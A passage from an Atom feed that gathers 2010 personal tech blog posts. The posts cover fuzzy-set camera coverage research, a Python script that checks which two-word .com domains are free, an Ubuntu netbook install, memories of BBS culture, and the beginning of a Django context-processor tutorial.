		<content type="html">&lt;p&gt;I humbly entreat any analytical intellects of greater constitution than my own (of which, to be sure, there is no dearth) to enlighten me in matters mathematical.&lt;/p&gt;
&lt;p&gt;First of all, if I have a 5-dimensional space which consists of a 3-dimensional Euclidean space plus direction (defined by inclination and azimuth) &amp;#8212; that is, the set of vectors &lt;img src=&quot;http://s.wordpress.com/latex.php?latex=%28x%2C%20y%2C%20z%2C%20%5Crho%2C%20%5Ceta%29&amp;#038;bg=ffffff&amp;#038;fg=000000&amp;#038;s=0&quot; alt=&quot;(x, y, z, \rho, \eta)&quot; title=&quot;(x, y, z, \rho, \eta)&quot; class=&quot;latex&quot; /&gt; where &lt;img src=&quot;http://s.wordpress.com/latex.php?latex=x%2C%20y%2C%20z%20%5Cin%20%5Cmathbb%7BR%7D&amp;#038;bg=ffffff&amp;#038;fg=000000&amp;#038;s=0&quot; alt=&quot;x, y, z \in \mathbb{R}&quot; title=&quot;x, y, z \in \mathbb{R}&quot; class=&quot;latex&quot; /&gt;, &lt;img src=&quot;http://s.wordpress.com/latex.php?latex=%5Crho%20%5Cin%20%5B0%2C%20%5Cpi%5D&amp;#038;bg=ffffff&amp;#038;fg=000000&amp;#038;s=0&quot; alt=&quot;\rho \in [0, \pi]&quot; title=&quot;\rho \in [0, \pi]&quot; class=&quot;latex&quot; /&gt;, and &lt;img src=&quot;http://s.wordpress.com/latex.php?latex=%5Ceta%20%5Cin%20%5B0%2C%202%5Cpi%29&amp;#038;bg=ffffff&amp;#038;fg=000000&amp;#038;s=0&quot; alt=&quot;\eta \in [0, 2\pi)&quot; title=&quot;\eta \in [0, 2\pi)&quot; class=&quot;latex&quot; /&gt; &amp;#8212; what is that called? Of course, this generalizes to a (2&lt;em&gt;p&lt;/em&gt; &amp;#8211; 1)-dimensional space with a &lt;em&gt;p&lt;/em&gt;-dimensional Euclidean spatial component. I have been calling fuzzy subsets of this space &lt;em&gt;spatial-directional fuzzy sets&lt;/em&gt;, but &lt;em&gt;spatial-directional space&lt;/em&gt; sounds patently ridiculous.&lt;/p&gt;
&lt;p&gt;Second, is it possible to define a useful distance metric in such a space? &lt;cite title=&quot;﻿B.B. Chaudhuri and A. Rosenfeld, 'A Modified Hausdorff Distance Between Fuzzy Sets,' Information Sciences, vol. 118, 1999, pp. 159-171.&quot;&gt;Chaudhuri and Rosenfeld&lt;/cite&gt; generalize the &lt;a href=&quot;http://en.wikipedia.org/wiki/Hausdorff_distance&quot;&gt;Hausdorff distance&lt;/a&gt; to arbitrary fuzzy subsets of a &lt;a href=&quot;http://en.wikipedia.org/wiki/Metric_space&quot;&gt;metric space&lt;/a&gt;, but this is of little use to me if my universal space is not metric. The natural way to define distance between two directions is to use the angle between the corresponding vectors, or similarly a norm on the surface of a &lt;a href=&quot;http://en.wikipedia.org/wiki/Torus&quot;&gt;torus&lt;/a&gt;. The obvious problem is that the numbers used for space and angle bear no relation to one another, so it seems nonsensical to combine them in a single metric (scaling and other such hackery need not apply). Yet, &lt;a href=&quot;http://en.wikipedia.org/wiki/Configuration_space&quot;&gt;configuration spaces&lt;/a&gt; with similar discord among the units of their dimensions abound in engineering. Surely someone has tried to do something like this before?&lt;/p&gt;</content>
		<author>
			<name>Aaron Mavrinac</name>
			<uri>http://blog.mavrinac.com</uri>
		</author>
		<source>
			<title type="html">Aaron Mavrinac</title>
			<subtitle type="html">Your reality, sir, is lies and balderdash and I'm delighted to say that I have no grasp of it whatsoever.</subtitle>
			<link rel="self" href="http://blog.mavrinac.com/feed/"/>
			<id>http://blog.mavrinac.com/feed/</id>
			<updated>2010-06-28T14:00:30+00:00</updated>
		</source>
	</entry>

	<entry xml:lang="en">
		<title type="html">Double Dipping into Domaining</title>
		<link href="http://alanp.ca/blog/2010/06/04/double-dipping-into-domaining/"/>
		<id>http://alanp.ca/blog/?p=136</id>
		<updated>2010-06-04T05:33:44+00:00</updated>
		<content type="html">&lt;p&gt;When I first read &lt;a href=&quot;http://ianab.com/log/&quot;&gt;Andrew Badr&lt;/a&gt;&amp;#8216;s post on his &lt;a href=&quot;http://ianab.com/log/1/my-dip-into-domaining/&quot;&gt;tests with domain squatting^W speculation&lt;/a&gt;, I was immediately interested in the methods that he used.  Having checked out &lt;a href=&quot;http://www.namepros.com/&quot;&gt;multiple&lt;/a&gt; &lt;a href=&quot;http://www.snapnames.com/&quot;&gt;domain&lt;/a&gt; &lt;a href=&quot;http://www.dnforum.com/&quot;&gt;speculation&lt;/a&gt; websites in the past, I knew that there were some improvements to be had in the offerings that people put forth.&lt;/p&gt;
&lt;p&gt;Coincidentally, I have been reading up on Python lately and have become pretty interested in the language.  For my first script implementation, I decided to explore the 4,4 space in English word .com domains.  I like this space because it is pretty common (facebook), and I believed that with so many possibilities there would be some great names available.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;http://ianab.com/log/&quot;&gt;Andrew&lt;/a&gt; used a method that included some manual work, which I wanted to avoid.  I quickly found an English dictionary online and used the grep pattern &amp;#8220;^&amp;#8230;.$&amp;#8221; which would work fine for my simple case.  I ended up with 3903 4-letter English words.  This space (3903^2) was far too large to start sending queries out, and also too large to manually edit.  What to do?&lt;/p&gt;
&lt;p&gt;I quickly decided that trends on each word was the way to go, and obtained some statistics on how common each word was.  After inserting each word and it&amp;#8217;s relevance into a simple &lt;a href=&quot;http://www.mysql.com/?bydis_dis_index=1&quot;&gt;MySQL&lt;/a&gt; table, I was ready to begin hammering away to see what was available for registration.&lt;/p&gt;
&lt;p&gt;Once I had this data, I stored a reference to each word and the combined relevance of the prefix and suffix in another table of the database.  According to my heuristics, I had the list of the most relevant domains with 2 four character words possible.&lt;/p&gt;
&lt;p&gt;The results are pretty interesting, with many (what I would consider) top-term .com domains available.  Here are some of my favorites quickly off of the file (inb4registration):&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;thisholy.com&lt;/li&gt;
&lt;li&gt;thatecho.com&lt;/li&gt;
&lt;li&gt;homehide.com&lt;/li&gt;
&lt;li&gt;homemeet.com&lt;/li&gt;
&lt;li&gt;havethem.com&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Can we do better?  Like Andrew, I also stored a counter for each time a 4-letter word was either a prefix or a suffix.  Tomorrow I will try using this information as a factor to my current heuristics.  I think the most major improvement possible would be to distribute these requests over a few different boxes (it&amp;#8217;s definitely MapReduceable).  If you have any methods for improvement, I would like to hear them as well.  Leave a note in the comments section.&lt;/p&gt;
&lt;p&gt;If there&amp;#8217;s any interest, I will post my full list  (it&amp;#8217;s hosted on my home computer).  There are massive possibilities to explore the 3,4 space and 4,3 space, I would love to hear from you if you begin your exploration in these spaces.&lt;/p&gt;
&lt;p&gt;&lt;a class=&quot;a2a_dd addtoany_share_save&quot; href=&quot;http://www.addtoany.com/share_save?linkurl=http%3A%2F%2Falanp.ca%2Fblog%2F2010%2F06%2F04%2Fdouble-dipping-into-domaining%2F&amp;amp;linkname=Double%20Dipping%20into%20Domaining&quot;&gt;&lt;img src=&quot;http://alanp.ca/blog/wp-content/plugins/add-to-any/share_save_171_16.png&quot; width=&quot;171&quot; height=&quot;16&quot; alt=&quot;Share/Bookmark&quot; /&gt;&lt;/a&gt; &lt;/p&gt;</content>
		<author>
			<name>Alan P. Laudicina</name>
			<uri>http://alanp.ca/blog</uri>
		</author>
		<source>
			<title type="html">alanp.ca : blog</title>
			<subtitle type="html">The world, according to alanp</subtitle>
			<link rel="self" href="http://alanp.ca/blog/feed/"/>
			<id>http://alanp.ca/blog/feed/</id>
			<updated>2010-07-13T14:00:11+00:00</updated>
		</source>
	</entry>

	<entry xml:lang="en">
		<title type="html">Ubuntu Netbook Edition</title>
		<link href="http://blog.free.draisey.ca/node/99"/>
		<id>http://blog.free.draisey.ca/99 at http://blog.free.draisey.ca</id>
		<updated>2010-05-28T20:42:58+00:00</updated>
		<content type="html">&lt;p&gt;So my diminutive Acer Aspire One is now running Ubuntu Netbook Edition and seems to like it, although the initial two tries at installing it failed utterly.  The second failure was the worst as the system seems to have gotten stuck in a swap storm.  It had been installed but was running very slowly, and then had to rush off elsewhere --- on returning a couple of hours later it was writing to the SSD like mad and completely unresponsive.  Only a magic SysRq key could give me my system back so I rebooted and only then remembered I had left it doing a software update --- oops, no kernel!  How can an installer only a few days old be so out of date?&lt;/p&gt;
&lt;p&gt;I had reused some existing partitions in the installer, but not their contents, so I have no idea what the difference was between the final successful install and the disaster immediately before it.  Indeed, I expected the final install to be as bad as the others --- I can&amp;#039;t remember what I hoped to achieve.  Surprisingly the third time worked like a charm.  Very odd.&lt;/p&gt;
&lt;p&gt;Moblin was running out of steam and they didn&amp;#039;t have numpy packaged so I jumped ship ... the day before Meego came out!  Talk about timing!  Still I don&amp;#039;t expect Meego 1.0 is very stable, nor does it possess the pygtk and numpy libraries I want.&lt;/p&gt;</content>
		<author>
			<name>Matt Draisey</name>
			<uri>http://blog.free.draisey.ca</uri>
		</author>
		<source>
			<title type="html">Matt's Blog</title>
			<link rel="self" href="http://blog.free.draisey.ca/rss.xml"/>
			<id>http://blog.free.draisey.ca/rss.xml</id>
			<updated>2010-09-07T19:00:04+00:00</updated>
		</source>
	</entry>

	<entry xml:lang="en">
		<title type="html">The Predecessor to Twitter</title>
		<link href="http://www.allthingsexpounded.com/2010/05/the-predecessor-to-twitter/"/>
		<id>http://www.allthingsexpounded.com/?p=1436</id>
		<updated>2010-05-25T16:08:25+00:00</updated>
		<content type="html">&lt;p&gt;&lt;img class=&quot;alignleft&quot; title=&quot;Qwitter&quot; src=&quot;http://www.marknenadov.com/images/quitter.jpg&quot; alt=&quot;&quot; width=&quot;178&quot; height=&quot;134&quot; /&gt;In an otherwise generally unremarkable piece in the April 2010 issue of Usenix&amp;#8217;s &lt;em&gt;login;&lt;/em&gt; magazine (pp. 70-71) listing goofy fake protocols, Robert Ferrell has this gem:&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Internet Chaff Relay: The short-lived predecessor to Twitter&lt;/em&gt;&lt;/p&gt;</content>
		<author>
			<name>Mark J. Nenadov</name>
			<uri>http://www.allthingsexpounded.com</uri>
		</author>
		<source>
			<title type="html">All Things Expounded » Technology</title>
			<subtitle type="html">A verbose experiment in blogness (if you want to deride it, call it AllThingsConfounded).</subtitle>
			<link rel="self" href="http://www.allthingsexpounded.com/category/technology/feed/"/>
			<id>http://www.allthingsexpounded.com/category/technology/feed/</id>
			<updated>2010-08-09T17:00:03+00:00</updated>
		</source>
	</entry>

	<entry xml:lang="en">
		<title type="html">The Road To Here</title>
		<link href="http://blog.mavrinac.com/2010/05/the-road-to-here/"/>
		<id>http://blog.mavrinac.com/?p=155</id>
		<updated>2010-05-23T15:15:57+00:00</updated>
		<content type="html">&lt;p&gt;In my M.A.Sc. work on stereo camera network calibration, I made use of a series of graphs to describe the relationships between nodes. Existing work had already produced the vision graph and what I will call the transition graph (after &lt;cite title=&quot;﻿R. Farrell and L.S. Davis, 'Decentralized Discovery of Camera Network Topology,' Proc. 2nd ACM/IEEE Intl. Conf. on Distributed Smart Cameras, 2008.&quot;&gt;Farrell and Davis&lt;/cite&gt;&amp;#8216; transition model). In both graphs, each vertex represents a node (camera or camera pair, usually) in the multi-camera network.&lt;/p&gt;
&lt;p&gt;&lt;b&gt;The Vision Graph&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;In a typical sensor network, the sensing modality is simple and omnidirectional, and thus adjacency is a function of proximity. A consequence of this is that the sensing graph is usually a subset of, equal to, or a superset of the communication graph. Therefore, it is usually possible to cheat by initializing the sensing graph model using either physical topology (from, say, GPS) or communication topology.&lt;/p&gt;
&lt;p&gt;Camera networks break from this in that their sensing modality is complex and directional, so sensing adjacency has relatively little to do with communication adjacency. &lt;cite title=&quot;﻿D. Devarajan and R.J. Radke, 'Distributed Metric Calibration of Large Camera Networks,' Proc. 1st Workshop on Broadband Advanced Sensor Networks, 2004.&quot;&gt;Devarajan and Radke&lt;/cite&gt; realized this early on, and proposed the vision graph. An edge in the vision graph represents information about shared field of view between the two nodes represented by its vertices; there is an edge wherever there is significant overlap of the observed scene. But what does &lt;i&gt;significant&lt;/i&gt; mean? Assuming we&amp;#8217;re referring to a classic, unweighted graph for the moment, in order for it to be useful, &lt;i&gt;significant&lt;/i&gt; must mean that there is sufficient overlap that we can &amp;#8211; or at least, that it is reasonable to expect that we could &amp;#8211; achieve whatever task is intended for the shared data.&lt;/p&gt;
&lt;p&gt;Since every published use of the vision graph I am aware of is a calibration application, let&amp;#8217;s talk about that. Originally, Devarajan and Radke had to specify the vision graph manually &lt;i&gt;a priori&lt;/i&gt; in order to use it for calibration; a follow-up with &lt;cite title=&quot;﻿Z. Cheng, D. Devarajan, and R.J. Radke, 'Determining Vision Graphs for Distributed Camera Networks Using Feature Digests,' EURASIP Jrnl. on Advances in Signal Processing, vol. 2007, 2007.&quot;&gt;Cheng&lt;/cite&gt; proposed a method to build it by propagating digests of &lt;cite title=&quot;﻿D.G. Lowe, 'Distinctive Image Features from Scale-Invariant Keypoints,' Intl. Jrnl. of Computer Vision, vol. 60, 2004, pp. 91-110.&quot;&gt;SIFT&lt;/cite&gt; features from the various images to other nodes. I myself only used it in concept, as a theoretical upper limit for the final calibration graph.&lt;/p&gt;
&lt;p&gt;Now, for a digression&amp;#8230;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;The Transition Graph&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;Meanwhile, folks working on surveillance and tracking applications were also using a graph formalism &amp;#8211; well, in most cases, a reflexive binary relation on the set of nodes that translates trivially into a graph formalism. An edge in the transition graph represents a different, although related, kind of adjacency between the two nodes represented by its vertices: the possibility of a target moving from the field of view of one node to that of the other. This, of course, includes overlapping fields of view, but importantly, it also extends to the non-overlapping case.&lt;/p&gt;
&lt;p&gt;It quickly became clear to someone that it was worthwhile to represent not just the possibility, but the &lt;i&gt;probability&lt;/i&gt;, of a transition. This may have been an obvious consequence of some of the methods used to actually determine this graph or relation &amp;#8211; for example, &lt;cite title=&quot;﻿D. Marinakis, G. Dudek, and D.J. Fleet, 'Learning Sensor Network Topology through Monte Carlo Expectation Maximization,' Proc. IEEE Intl. Conf. on Robotics and Automation, 2005.&quot;&gt;Marinakis et al.&lt;/cite&gt; used a Monte Carlo expectation-maximization method, and &lt;cite title=&quot;﻿R. Farrell and L.S. Davis, 'Decentralized Discovery of Camera Network Topology,' Proc. 2nd ACM/IEEE Intl. Conf. on Distributed Smart Cameras, 2008.&quot;&gt;Farrell and Davis&lt;/cite&gt; used sequential Bayesian estimation, both probability-oriented. Though intended to properly capture the information presented, it turns out that weighting the graph with these probabilities allows for some good optimization when it comes time to do predictions or camera hand-offs.&lt;/p&gt;
&lt;p&gt;&lt;b&gt;The Fuzzy Vision Graph&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;Seeing this, we thought, what if we similarly retain the uncertainty in the vision graph (rather than thresholding it out on an task-specific basis, as in all prior work) and put it to work optimizing calibration and other applications? Probability is, in general, ill-suited to the job, because we aren&amp;#8217;t talking about transitions here. So, we considered another representation of uncertainty: &lt;a href=&quot;http://en.wikipedia.org/wiki/Fuzzy_set&quot;&gt;fuzzy sets&lt;/a&gt;. A graph is an ordered pair &lt;img src=&quot;http://s.wordpress.com/latex.php?latex=%28V%2C%20E%29&amp;#038;bg=ffffff&amp;#038;fg=000000&amp;#038;s=0&quot; alt=&quot;(V, E)&quot; title=&quot;(V, E)&quot; class=&quot;latex&quot; /&gt; of a set of vertices &lt;img src=&quot;http://s.wordpress.com/latex.php?latex=V&amp;#038;bg=ffffff&amp;#038;fg=000000&amp;#038;s=0&quot; alt=&quot;V&quot; title=&quot;V&quot; class=&quot;latex&quot; /&gt; and a set of edged &lt;img src=&quot;http://s.wordpress.com/latex.php?latex=E&amp;#038;bg=ffffff&amp;#038;fg=000000&amp;#038;s=0&quot; alt=&quot;E&quot; title=&quot;E&quot; class=&quot;latex&quot; /&gt;; a fuzzy graph (in most definitions) is simply a generalization where &lt;img src=&quot;http://s.wordpress.com/latex.php?latex=V&amp;#038;bg=ffffff&amp;#038;fg=000000&amp;#038;s=0&quot; alt=&quot;V&quot; title=&quot;V&quot; class=&quot;latex&quot; /&gt; and &lt;img src=&quot;http://s.wordpress.com/latex.php?latex=E&amp;#038;bg=ffffff&amp;#038;fg=000000&amp;#038;s=0&quot; alt=&quot;E&quot; title=&quot;E&quot; class=&quot;latex&quot; /&gt; are fuzzy sets.&lt;/p&gt;
&lt;p&gt;One nice thing immediately apparent is that, with the inherent, well, fuzziness of fuzzy graphs, there&amp;#8217;s no longer any need to set task-specific thresholds in advance when constructing the model; instead of summarily judging whether overlap is significant, we simply capture the &lt;i&gt;degree of significance&lt;/i&gt;, which if we really want can be thresholded later via task-specific alpha cuts. Beyond this, a number of opportunities for automatically optimizing various tasks in more advanced ways presented themselves as I poked at the idea. (This is the time when &lt;a href=&quot;http://code.google.com/p/fuzzpy&quot;&gt;FuzzPy&lt;/a&gt; was born.)&lt;/p&gt;
&lt;p&gt;The major problem, so far, is that there is no real understanding of what the ideal fuzzy vision graph actually represents. We can build them in various ways: using feature digests like Cheng, for example. But in order to decouple the practical optimization research from the practical modeling research, we need some definition of what a perfect vision graph for a camera network actually is.&lt;/p&gt;
&lt;p&gt;&lt;b&gt;Modeling Camera Network Coverage&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;To approach the problem of modeling the topology of camera coverage overlap, what is really needed is a proper model of camera network coverage. Much of the existing work on this has been developed specifically for optimal camera placement algorithms; it provides some inspiration, but as these models are rather simplistic (discrete, two-dimensional, triangular in shape, etc.) they don&amp;#8217;t provide much in the way of an &lt;i&gt;ideal&lt;/i&gt; model. Delving deeper, some decades-old work on task-oriented camera placement by &lt;cite title=&quot;﻿C.K. Cowan and P.D. Kovesi, 'Automatic Sensor Placement from Vision Task Requirements,' IEEE Trans. on Pattern Analysis and Machine Intelligence, vol. 10, 1988, pp. 407-416.&quot;&gt;Cowan and Kovesi&lt;/cite&gt; provides an idea for a more realistic model of camera coverage, if you invert it, but is only for single cameras and uses task-specific thresholds.&lt;/p&gt;
&lt;p&gt;Coverage, like overlap in the vision graph, is an imprecise concept when it is not tied to a specific task. Hence, fuzzy sets once again presented themselves as a possible framework for the representation: one can assign a membership degree in the set of covered points to every point in three-dimensional Euclidean space. Like Cowan and Kovesi, I identified visibility, focus, and resolution as the major factors in single-camera coverage (in the absence of &lt;i&gt;a priori&lt;/i&gt; scene knowledge), developed &amp;#8220;trapezoidal&amp;#8221; fuzzy sets for each, then combined them via algebraic product fuzzy intersection to get a complete model that, given the intrinsic parameters of a camera and a couple of intuitive application (not necessarily single-task) parameters, would tell me how well any point in its local 3-space is covered. This is called the &lt;i&gt;fuzzy coverage model&lt;/i&gt;.&lt;/p&gt;
&lt;p&gt;It becomes evident that a fourth factor, direction, is needed when looking at the multi-camera case, where cameras are situated in a common coordinate system based on their extrinsic parameters, and we are interested in part in their field-of-view overlap. If two cameras face the same general volume of space, but from opposite sides, is the volume in common covered by both cameras? If you&amp;#8217;re tempted to think yes, consider a task such as feature matching. Cameras can only see opaque surfaces with normals in the interior half-space defined by a plane tangent to the point in question and perpendicular to the principal axis. Furthermore, a number of studies have shown that, in practice, feature matching performance degrades over rotation of the viewpoint. Thus, if we extend our three-dimensional concept of space to include direction as well, making the fuzzy coverage model 5-dimensional, we consider points at the same location in 3-space but with different direction not the same point at all. Some &lt;a href=&quot;http://blog.mavrinac.com/2010/03/pi-day-madness&quot;&gt;geometry&lt;/a&gt; and a fuzzifying parameter gives us another component fuzzy set for the single-camera model, which we can incorporate by algebraic product intersection.&lt;/p&gt;
&lt;p&gt;Another major consideration for the multi-camera case, which various work on camera network topology and placement optimization has attempted to tackle, is occlusion from the static scene. This may be known &lt;i&gt;a priori&lt;/i&gt; (e.g. CAD layout of a building) or estimated by the camera network itself. It is possible to do this in continuous space, like ﻿&lt;cite title=&quot;K. Tarabanis, R.Y. Tsai, and A. Kaul, 'Computing Occlusion-Free Viewpoints,' IEEE Trans. on Pattern Analysis and Machine Intelligence, vol. 18, 1996, pp. 279-292.&quot;&gt;Tarabanis et al.&lt;/cite&gt;, and so ideally you&amp;#8217;d have a complete 3D model of the unoccluded field of view for each camera, and all other points have &lt;img src=&quot;http://s.wordpress.com/latex.php?latex=%5Cmu%20%3D%200&amp;#038;bg=ffffff&amp;#038;fg=000000&amp;#038;s=0&quot; alt=&quot;\mu = 0&quot; title=&quot;\mu = 0&quot; class=&quot;latex&quot; /&gt;. However, the complexity seems prohibitive in practice for large camera networks. If we instead move to a discrete representation of the fuzzy coverage model, we can do what I did: make the scene finite, mark a subset of its voxels opaque, then use the voxel traversal of the line from a given point to the principal point of the camera to determine whether it is occluded (i.e. if the traversal includes any opaque voxels).&lt;/p&gt;
&lt;p&gt;The easy part is the total network coverage. For simple multi-camera networks, where one camera covering a point (remember, we account for direction implicitly) is enough, simply combine all the appropriately transformed, discretized, and occlusion-ified single-camera coverage models together via standard fuzzy union. For 3D multi-camera networks, where we want at least two cameras covering a point, first generate a coverage model for each &lt;i&gt;pair&lt;/i&gt; of cameras via standard fuzzy intersection on the pair, then combine all these via union.&lt;/p&gt;
&lt;p&gt;&lt;b&gt;Okay, now what?&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;This is about where I&amp;#8217;m at. There&amp;#8217;s plenty more that could be done with the fuzzy coverage model itself: solving the optimal camera placement problem in new and exciting ways is one really obvious possibility that I talk about in an upcoming paper.&lt;/p&gt;
&lt;p&gt;As far as getting back to the graph stuff, I defined an overlap metric involving the scalar cardinality, which could be used to derive the fuzzy vision graph from the discrete fuzzy coverage model; this is significant in that it indicates a direct link from the &lt;img src=&quot;http://s.wordpress.com/latex.php?latex=%5Cmu&amp;#038;bg=ffffff&amp;#038;fg=000000&amp;#038;s=0&quot; alt=&quot;\mu&quot; title=&quot;\mu&quot; class=&quot;latex&quot; /&gt; values of the edges all the way back to the basic parameters of the camera network and the scene (and we know where all the simplifications are). Even better, though, might be something more analytic and general, like using something along the lines of the &lt;a href=&quot;http://en.wikipedia.org/wiki/Hausdorff_distance&quot;&gt;Hausdorff distance&lt;/a&gt; between two cameras&amp;#8217; coverage models, which might not only allow us to find the fuzzy vision graph, but also start unifying it with the non-overlapping concept of the transition graph.&lt;/p&gt;
&lt;p&gt;Back to the future&amp;#8230;&lt;/p&gt;</content>
		<author>
			<name>Aaron Mavrinac</name>
			<uri>http://blog.mavrinac.com</uri>
		</author>
		<source>
			<title type="html">Aaron Mavrinac</title>
			<subtitle type="html">Your reality, sir, is lies and balderdash and I'm delighted to say that I have no grasp of it whatsoever.</subtitle>
			<link rel="self" href="http://blog.mavrinac.com/feed/"/>
			<id>http://blog.mavrinac.com/feed/</id>
			<updated>2010-06-28T14:00:30+00:00</updated>
		</source>
	</entry>

	<entry xml:lang="en">
		<title type="html">Old(ish) Computing Memories (1993?-1999)</title>
		<link href="http://www.allthingsexpounded.com/2010/04/oldish-computing-memories-1993-1999/"/>
		<id>http://www.allthingsexpounded.com/?p=1370</id>
		<updated>2010-04-22T16:22:16+00:00</updated>
		<content type="html">&lt;p&gt;While the 90&amp;#8217;s may seem like a long time ago for some, in the broader perspective, I came to the computing world quite late.&lt;/p&gt;
&lt;p&gt;My first computer was a 486 system that my brother gave me some time in the early to mid 1990&amp;#8217;s (most likely 1993 or 1994). It was running DOS, Win3.1, and OS/2.  My introduction to computer literacy was mainly driven by my desire to figure out how to run games on the system. I don&amp;#8217;t remember all of the games, but two in particular were Spear of Destiny (a spin-off of of the shooter Wolfenstein) and NHL 93 (and EA Sports hockey game).  With this motivation to  learn about the computer, I quickly picked up new things.&lt;/p&gt;
&lt;p&gt;On the grand scale of computing history, this was before e-mail caught up with postal mail in volume,  right around when Red Hat Linux was introduced, right around when  Mosaic released their web browser, and a few years before Apple had a product called &amp;#8220;Mac OS&amp;#8221;.&lt;/p&gt;
&lt;p&gt;It wasn&amp;#8217;t too long before I was introduced to the more social aspects of the computing subculture. A friend introduced me to the concept of Bulletin Board Systems (BBS) and I quickly became hooked to that too.  The best way to describe the BBS scene is perhaps as a localized Internet. A BBS was a little system that someone would run from their home and you could dial into it. A whole subculture developed. A BBS would usually have functionality to chat, post messages, upload/download files, play games, etc.&lt;/p&gt;
&lt;p&gt;Again, I must stress that I was a later-comer on the BBS scene. When I entered it, the BBS scene was probably somewhere slightly past its prime and starting its decline  (or, according to some, already well into it&amp;#8217;s decline). My first modem was technically a 2400 baud modem, but that device was so quirky that I never really did  much with it. So very soon I jumped up to a 14.4 modem, which seemed fast at the time but is really unbelievably slow.&lt;/p&gt;
&lt;p&gt;I called a bunch of BBS systems, possibly around 100 or more.  Many friendships formed through this medium, although they were probably not completely deep. I was pretty much a regular on the scene until 1999, when the scene had already pretty much died out. Where there were once hundreds of BBS&amp;#8217; in the Windsor area, at that point  there were only 5 or 10. Though I never really ran a full-time BBS, I was quite involved in the scene. I ran a couple of part time BBS&amp;#8217; and was co-sysop (assistant  admin) of at least 3 boards. I was co-sysop of Champagne&amp;#8217;s Island, Genesis, and Eternal Dreams. I called many a number of system and was thoroughly immersed in the underground BBS scene.&lt;/p&gt;
&lt;p&gt;For those interested, here are some of the BBS&amp;#8217; I called besides the  ones that have already been mentioned: The Dynamite BBS, Windsor  Footnote, Windsor Download, Czar&amp;#8217;s Land, The Beacon, Second Sinister,  Windsor ITC, Body Count BBS, The Abyss, Limbo BBS, Purple Haze, The Outhouse, The  Kombatant, and The Swamp.&lt;/p&gt;
&lt;p&gt;Just as things in the BBS scene began to fade away, I ran a low-resolution (ANSI/ASCII) art group which had five releases (one of which was released in my absence after I disappeared from the scene). There are so many other memories, aspects to this, much of which is probably not very well preserved or accessible. For all the efforts to relive the past, such as the &lt;a href=&quot;http://www.bbsdocumentary.com/&quot;&gt;BBS Documentary&lt;/a&gt;,  there are still large black holes in the records. Much of this past, even from the early to mid 1990&amp;#8217;s, has simply disappeared off the map,  so to speak.  It might be a good thing in some ways, and a bad thing in others ways.  Some of it here will return back here and there, but for the most part it is gone for good. It seems enough hard drives have died or been erased and memories forgotten in order for much of this socio-cultural history to disappear. And anything that is unearthed will be a small sliver of the whole narrative of what went on.&lt;/p&gt;
&lt;p&gt;While &amp;#8220;cyberspace&amp;#8221; certainly has evolved since then, many things for the better, there&amp;#8217;s clearly something different now, and, I think, something lost.   But as a whole, I don&amp;#8217;t think I&amp;#8217;d go backwards if I could. Technological change changes us, and nostalgia aside, we are not the same sort of people that enjoyed in the BBS scene back in the 80&amp;#8217;s and 90&amp;#8217;s.&lt;/p&gt;</content>
		<author>
			<name>Mark J. Nenadov</name>
			<uri>http://www.allthingsexpounded.com</uri>
		</author>
		<source>
			<title type="html">All Things Expounded » Technology</title>
			<subtitle type="html">A verbose experiment in blogness (if you want to deride it, call it AllThingsConfounded).</subtitle>
			<link rel="self" href="http://www.allthingsexpounded.com/category/technology/feed/"/>
			<id>http://www.allthingsexpounded.com/category/technology/feed/</id>
			<updated>2010-08-09T17:00:03+00:00</updated>
		</source>
	</entry>

	<entry xml:lang="en">
		<title type="html">Django Context Processors Best Practice</title>
		<link href="http://blog.madpython.com/2010/04/07/django-context-processors-best-practice/"/>
		<id>http://blog.madpython.com/?p=61</id>
		<updated>2010-04-08T00:59:39+00:00</updated>
		<content type="html">&lt;p&gt;In this post, i&amp;#8217;ll show you a simple trick to ensure your Django context-processors don&amp;#8217;t break when Django 1.2 (and possibly future releases as well) is released.&lt;/p&gt;
&lt;p&gt;If you&amp;#8217;re not familiar with the concept of context-processors, I&amp;#8217;ll also explain what those are and how they work, so don&amp;#8217;t panic. Finally, i&amp;#8217;ll also spend a minute explaining why I consider this to be best-practice.&lt;/p&gt;
&lt;h2&gt;What are template context processors?&lt;/h2&gt;
&lt;p&gt;Django&amp;#8217;s context processors are a facility that allows you to provide data and callbacks to your templates.&lt;/p&gt;
&lt;p&gt;You can do so in one of two ways:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;On an individual request basis&lt;/strong&gt;: by passing a custom &lt;code&gt;Context&lt;/code&gt; value to your &lt;code&gt;render_to_response()&lt;/code&gt; call&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Globally&lt;/strong&gt;: by creating a &lt;em&gt;context processor method&lt;/em&gt; that accepts a &lt;code&gt;HttpRequest&lt;/code&gt; object as input, and returns a payload or callback, &lt;strong&gt;then&lt;/strong&gt; registering the context processor in your &lt;code&gt;settings.py&lt;/code&gt;, &lt;strong&gt;then&lt;/strong&gt; providing your &lt;code&gt;render_to_response()&lt;/code&gt; call with the built-in &lt;code&gt;RequestContext&lt;/code&gt; attribute instead of your own (you can always extend &lt;code&gt;RequestContext&lt;/code&gt; to add more data on an individual request basis of course).&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;If that approach for passing data to templates sounded absurd and obfuscated to you, you&amp;#8217;re not alone. The complexity involved in such a simple operation is unwarranted and counter-productive, but every system has its shortcomings.&lt;/p&gt;
&lt;h2&gt;The Issue&lt;/h2&gt;
&lt;p&gt;If you follow the &lt;a href=&quot;http://docs.djangoproject.com/en/dev/ref/templates/api/#id1&quot;&gt;Django documentation&lt;/a&gt; or &lt;a href=&quot;http://djangobook.com/en/2.0/&quot;&gt;The Django Book&lt;/a&gt;&amp;#8216;s approach to configuring your own custom context-processors, you&amp;#8217;ll notice that you are encouraged to add to your settings.py a hardcoded list of built-in context processors. If you follow that approach, your context-processors declaration will look like this:&lt;/p&gt;
